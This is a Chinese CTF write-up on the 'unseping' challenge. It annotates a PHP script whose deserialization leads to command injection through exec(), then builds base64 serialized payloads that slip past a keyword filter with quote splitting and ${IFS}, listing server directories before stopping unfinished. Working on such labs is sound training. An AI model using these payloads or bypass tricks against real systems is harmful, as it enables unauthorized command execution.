【攻防世界】unseping

1.信息收集:

 2.思路:

1.代码审计: 把代码彻底弄懂;                                                                                      

<?php
highlight_file(__FILE__);   //当前文件的源代码进行高亮显示。

class ease{  
    private $method;    
//private:私有访问修饰符,表示成员变量或方法只能在当前类中被访问,无法在子类或其他地方访问;
//public:公共访问修饰符,表示成员变量或方法可以在任何地方被访问。
//protected:受保护的访问修饰符,表示成员变量或方法只能在当前类或其子类中被访问
    private $args;
    function __construct($method, $args) {  
//构造函数__construct用于初始化成员变量
        $this->method = $method;    
//$this 是一个特殊的关键字,用于在类的内部引用当前对象。
/*$this->method表示当前对象的method成员变量,赋值操作=构造函数
的参数$method的值赋给$this->method。*/
        $this->args = $args;
    }
 
    function __destruct(){  //__destruct方法在对象销毁时自动被调用;
 /*首先检查$method是否为数组["ping"]中的一个元素,是,则通过call_user_func_array调用
类中名为ping的方法,并将参数数组$args传入。*/
        if (in_array($this->method, array("ping"))) {   
//array()创建一个数组 //in_array() 检查一个值是否存在于数组
//in_array() 函数接受两个参数:要查找的值和要搜索的数组。它会遍历数组中的每个元素,
//并判断是否有元素的值与要查找的值相等
            call_user_func_array(array($this, $this->method), $this->args);
            /*array($this, $this->method)表示一个回调函数,其中$this表示当前对象,$this->method表示对象的方法名。这个回调函数表示调用当前对象的指定方法。
$this->args是一个数组,包含要传递给方法的参数。*/
//call_user_func_array函数将会调用第一个参数指定的回调函数,并将第二个参数$this->args作为参数传递给该函数。
        }
    } 
 
    function ping($ip){
        exec($ip, $result);//exec() 函数接受两个参数:要执行的命令和一个用于存储命令输出的变量,并不直接返回命令的输出结果,而是将其存储到提供的变量中
        var_dump($result); //打印$result的值
    }

    function waf($str){
        /*类的waf方法接收一个名为$str的参数,用于实现一个简单的防火墙功能。
        它使用preg_match_all函数检查$str是否包含一些特定的字符或字符串,如|、&、;、/、cat、flag、tac、php和ls。
        如果不包含这些字符或字符串,则返回原始输入$str。否则,输出"don't hack"。*/
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
//preg_match_all()在字符串中执行正则表达式匹配,并返回所有匹配结果。
/*preg_match_all(string $pattern, string $subject, array &$matches, int $flags = 0, int $offset = 0): int|false
            $pattern:要匹配的正则表达式模式。
            $subject:要在其中进行匹配的字符串。
            $matches:用于存储匹配结果的数组变量。
            $flags:可选参数,用于指定匹配模式的标志。
            $offset:可选参数,用于指定匹配的起始位置。
            */
            /*返回值:
                如果preg_match_all函数返回false,即str中不包含匹配的字符或关键字,返回原字符串str;*/
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){
        /*__wakeup方法在对象被序列化后被调用,用于对成员变量$args进行处理。
        它遍历$args数组,并对每个元素调用waf方法进行过滤,过滤后的结果再替换原有的$args元素值。*/
        foreach($this->args as $k => $v) {
            $this->args[$k] = $this->waf($v);
/*使用 foreach 循环遍历this->args数组中的每个元素。对于每个元素,调用
this−>args数组中的每个元素。对于每个元素,调用this->waf()方法进行处理,并将处理后的结果赋值给
v)方法进行处理,并将处理后的结果赋值给this->args数组的相应元素。*/
        }
    }   
}

$ctf=@$_POST['ctf']; /*$_POST 是一个预定义的 PHP 超全局变量,用于接收通过 POST 方法提交的表单数据。
$_POST['ctf'] 表示从 $_POST 数组中获取名为 ctf 的元素的值。@ 符号是 PHP 中的错误控制运算符,用于抑制错误和警告信息的输出。*/
@unserialize(base64_decode($ctf));//代码尝试对$ctf参数进行反序列化操作,通过base64_decode函数解码后调用unserialize函数进行反序列化
?>
没有对$ctf参数进行有效性检查和过滤,这段代码存在安全风险,可能导致代码注入和命令执行漏洞。

2.写个脚本,用这个类,向类中传入参数:

        1.与数组匹配,第一个参数“ping”;

        2.绕过简单的防火墙,用“”,‘’,

<?php

$a = new ease("ping",array(""));//call_user_func_array(callback, param_arr)函数第二个参数必需是数组
$b = serialize($a);   
/*一个对象被序列化后才能被反序列化;但我们还得序列化后对其进行编码;
可以先对编码后再序列化吗?
$b = base64_encode($a);
echo serialize($b);
这样是不行,序列化是将对象转换为字符串的过程,而编码是将字符串转换为另一种表示形式的过程,不能颠倒;*/

echo $b;
?>

/*序列化结果:O:4:"ease":2:{s:12:"easemethod";s:4:"ping";s:10:"easeargs";a:1:{i:0;s:0:"";}}
O:4:"ease":2: 类名为ease的对象,4表示类名的长度,2表示对象属性的数量。
s:12:"easemethod"; 表示第一个属性名为easemethod,12表示属性名的长度。
s:4:"ping"; 表示easemethod属性的值为ping,4表示属性值的长度。
s:10:"easeargs"; 表示第二个属性名为easeargs,10表示属性名的长度。
a:1:{i:0;s:0:"";} 表示easeargs属性的值为一个数组,其中1表示数组元素的数量,i:0表示数组的索引为0,s:2:""表示数组的值为"",0表示值的长度。*/

脚本代码:

<?php
class ease{
    
    private $method;
    private $args;
    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }
}
$a = new ease("ping",array(""));
$b = serialize($a);
echo $b;
$c = base64_encode($b);
echo "\n";
echo $c;
?>

得到的结果是:

这时返回的是NULL;
去改过滤字符:
$a = new ease("ping",array("''"));

双引号里有单引号时:返回 array(0) { }    返回了一个空数组;

该过滤字符:

$a = new ease("ping",array('""'));

单引号里有双引号;返回结果:don't hackNULL

总结以上教训发现绕过字符这点很是重要!!! 

     if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {

preg_match_all函数检查$str是否包含一些特定的字符或字符串,如|、&、;、/、cat、flag、tac、php和ls。
        如果不包含这些字符或字符串,则返回原始输入$str。否则,输出"don't hack"。

这个过滤中我可以用双引号,单引号;但我使用为什么会失败呢?

这里很特殊,又不是写一些特殊字符,让它错误的认为代码,或构成新代码来进行绕过,它只是一种与字符串比较进行匹配,只要没有包含|、&、;、/、cat、flag、tac、php和ls。应该可以我想;那为什么不可以???

突然想到Linux中有一种绕过方式:就是Linux中,ls可以显示当前目录中的所有文件,如果l""s同样可以查看,这就是绕过点;

现在是三种:单引号,双引号,${}符合;

改变过滤字符:

$a = new ease("ping",array('l""s'));

这样改变一下上面的脚本代码,再去执行,得到payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czo0OiJsIiJzIjt9fQ==

最终得到比较理想的结果: 

去查看flag_1s_here文件,命令:

脚本做修改一下:同样查看该文件夹下的文件有哪些,格式:<命令>  文件名

但这里命令与文件之间有空格,怎么办,用${IFS}    这是特殊的环境变量,在Unix/linux 用来字段分割符;

$a=new ease("ping",array('l""s${IFS}f""lag_1s_here'));

 同样得到新的payload:

Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyNDoibCIicyR7SUZTfWYiImxhZ18xc19oZXJlIjt9fQ==

 

这发现有一个后缀php的文件,我们得打开这个文件,同样:但打开文件的命令cat,tac 都被过滤了,只能想其它办法;

我真不知道怎么绕过了                         有大佬请指教!我以后再补,头疼;

评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值